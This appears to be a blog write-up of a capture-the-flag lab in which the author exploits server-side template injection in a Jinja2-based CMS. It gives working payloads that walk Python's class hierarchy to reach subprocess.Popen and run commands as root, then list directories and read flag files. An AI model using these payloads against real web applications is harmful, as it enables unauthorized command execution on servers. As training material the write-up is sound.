Sitemap
Philip Joshua Lucas

Philip Joshua Lucas

๐‚๐ซ๐š๐œ๐ค๐ข๐ง๐  ๐๐š๐ ๐ž๐…๐จ๐ซ๐ ๐ž: ๐’๐ž๐ซ๐ฏ๐ž๐ซ-๐’๐ข๐๐ž ๐“๐ž๐ฆ๐ฉ๐ฅ๐š๐ญ๐ž ๐ˆ๐ง๐ฃ๐ž๐œ๐ญ๐ข๐จ๐ง (๐’๐’๐“๐ˆ) + ๐–๐€๐… ๐๐ฒ๐ฉ๐š๐ฌ๐ฌ + ๐‘๐‚๐„ (๐Š๐ซ๐ฒ๐ฉ๐ญ๐ฌ๐ž๐œ ๐‚๐“๐… โ€” ๐’๐’๐“๐ˆ ๐‘๐จ๐จ๐ฆ)

4 min readApr 26, 2026

โ€”

๐ˆ๐ง๐ญ๐ซ๐จ๐๐ฎ๐œ๐ญ๐ข๐จ๐ง

As someone who is continuously pushing to grow in the field of cybersecurity, Iโ€™ve been taking on Capture The Flag (CTF) challenges and hands-on labs to sharpen my practical skills. This particular lab caught my attention because it focuses on Server-Side Template Injection (SSTI), a vulnerability class that is widely underestimated but can be shockingly impactful when exploited correctly.

SSTI occurs when user-supplied input is embedded directly into a server-side template and evaluated by the template engine, essentially allowing an attacker to inject and execute code on the server. Unlike client-side attacks, SSTI gives an attacker a direct path into the serverโ€™s backend, which in worst-case scenarios leads to full Remote Code Execution (RCE).

In this write-up, Iโ€™ll walk through how I identified, exploited, and escalated an SSTI vulnerability in a CMS called PageForge โ€” bypassing a Web Application Firewall (WAF) along the way using Pythonโ€™s Method Resolution Order (MRO) chain traversal, ultimately achieving root-level code execution.

๐“๐ก๐ž ๐“๐š๐ซ๐ ๐ž๐ญ

PageForge โ€” a lightweight CMS with a template editor that allows users to write and preview dynamic page content using Jinja2-style syntax.

๐’๐ญ๐ž๐ฉ ๐Ÿ: ๐€๐œ๐œ๐จ๐ฎ๐ง๐ญ ๐‚๐ซ๐ž๐š๐ญ๐ข๐จ๐ง โ€” The page welcomes you in a login screen, since i donโ€™t have any credentials to use, i registered for an account.

Upon Login โ€” you will be redirected to the dashboard.

Press enter or click to view image in full size

And then I clicked on the โ€œNew Pageโ€. This will be our endpoint for testing the SSTI Vuln.

Press enter or click to view image in full size

๐’๐ญ๐ž๐ฉ ๐Ÿ: ๐ƒ๐ž๐ญ๐ž๐œ๐ญ๐ข๐ง๐  ๐ญ๐ก๐ž ๐•๐ฎ๐ฅ๐ง๐ž๐ซ๐š๐›๐ข๐ฅ๐ข๐ญ๐ฒ โ€” The first step in any SSTI assessment is confirming that user input is being evaluated by a template engine. I injected a simple math expression into the template editor:

{{7*7}}

Press enter or click to view image in full size

Upon clicking โ€œPreviewโ€, it rendered 49 instead of the literal string โ€” confirming that the server was evaluating the input. SSTI confirmed.

Press enter or click to view image in full size

๐’๐ญ๐ž๐ฉ ๐Ÿ‘: ๐๐ฒ๐ญ๐ก๐จ๐ง ๐Œ๐‘๐Ž ๐‚๐ก๐š๐ข๐ง ๐“๐ซ๐š๐ฏ๐ž๐ซ๐ฌ๐š๐ฅ โ€” Rather than relying on direct module imports (which are often blocked by WAFs), I leveraged Pythonโ€™s Method Resolution Order (MRO), a built-in mechanism that defines how Python resolves class inheritance.

Get Philip Joshua Lucasโ€™s stories inย yourย inbox

Join Medium for free to get updates fromย thisย writer.

{{โ€˜โ€™.__class__.__mro__}}

Press enter or click to view image in full size

Every string in Python is an instance of str, which inherits from object โ€” the base of ALL Python classes. From object, I could access every class currently loaded in memory:

{{โ€˜โ€™.__class__.__mro__[1].__subclasses__()}}

This returned a massive list of all subclasses โ€” including powerful ones like subprocess.Popen

Press enter or click to view image in full size

๐’๐ญ๐ž๐ฉ ๐Ÿ‘: ๐…๐ข๐ง๐๐ข๐ง๐  ๐ญ๐ก๐ž ๐‘๐ข๐ ๐ก๐ญ ๐‚๐ฅ๐š๐ฌ๐ฌ โ€” I used a Jinja2 for loop to search through all subclasses and find subprocess.Popen by name โ€” it landed at index 406.

{% for i in range(โ€˜โ€™.__class__.__mro__[1].__subclasses__()|length) %}
{% if โ€˜Popenโ€™ in โ€˜โ€™.__class__.__mro__[1].__subclasses__()[i].__name__ %}
INDEX:{{i}}
{% endif %}
{% endfor %}

Press enter or click to view image in full size

๐’๐ญ๐ž๐ฉ ๐Ÿ’ โ€” ๐‘๐ž๐ฆ๐จ๐ญ๐ž ๐‚๐จ๐๐ž ๐„๐ฑ๐ž๐œ๐ฎ๐ญ๐ข๐จ๐ง (๐–๐€๐… ๐๐ฒ๐ฉ๐š๐ฌ๐ฌ) โ€” The WAF did not block the MRO chain approach (no keyword filtering on __class__, __mro__, or __subclasses__). Direct subprocess.Popen RCE payload:

{{โ€˜โ€™.__class__.__mro__[1].__subclasses__()[406]([โ€˜idโ€™],stdout=-1,stderr=-1).communicate()[0].decode()}}

Press enter or click to view image in full size
Result: uid=0(root) gid=0(root) groups=0(root) โ€” running as root.

๐’๐ญ๐ž๐ฉ ๐Ÿ“ โ€” ๐๐š๐ฏ๐ข๐ ๐š๐ญ๐ข๐ง๐  ๐ญ๐จ ๐ญ๐ก๐ž ๐…๐ฅ๐š๐  ๐ƒ๐ข๐ซ๐ž๐œ๐ญ๐จ๐ซ๐ฒ

Press enter or click to view image in full size
Payload used: {{โ€˜โ€™.__class__.__mro__[1].__subclasses__()[406]([โ€˜lsโ€™,โ€™/โ€™],stdout=-1,stderr=-1).communicate()[0].decode()}}
Press enter or click to view image in full size
Payload used: {{โ€˜โ€™.__class__.__mro__[1].__subclasses__()[406](โ€˜find / -name flag* 2>/dev/nullโ€™,shell=True,stdout=-1,stderr=-1).communicate()[0].decode()}}

๐’๐ญ๐ž๐ฉ ๐Ÿ”: ๐…๐ฅ๐š๐  ๐‚๐š๐ฉ๐ญ๐ฎ๐ซ๐ž๐ โ€” Located flag files at /opt/flag.txt and /app/flag.txt and read them using the same RCE technique.

{{โ€˜โ€™.__class__.__mro__[1].__subclasses__()[406](โ€˜cat /opt/flag.txt /app/flag.txtโ€™,shell=True,stdout=-1,stderr=-1).communicate()[0].decode()}}

Press enter or click to view image in full size

Tools Used: Browser only, no scripts, no Burp Suite, pure manual exploitation.

A huge shoutout to Kryptsec Cybersecurity for designing the PageForge SSTI Lab!

The challenge was realistic, well-structured, and genuinely fun to work through. It pushed me to go beyond surface-level knowledge and truly understand how Server-Side Template Injection, WAF bypasses, and Python MRO chain traversal work in practice.

This is exactly the kind of hands-on learning experience that makes a real difference. Thank you for investing your time and expertise into building challenges that help the cybersecurity community grow.

#CyberSecurity #PenetrationTesting #WebSecurity #SSTI #EthicalHacking #CTF #BugBounty #Python #Jinja2 #InfoSec #RedTeam

--

--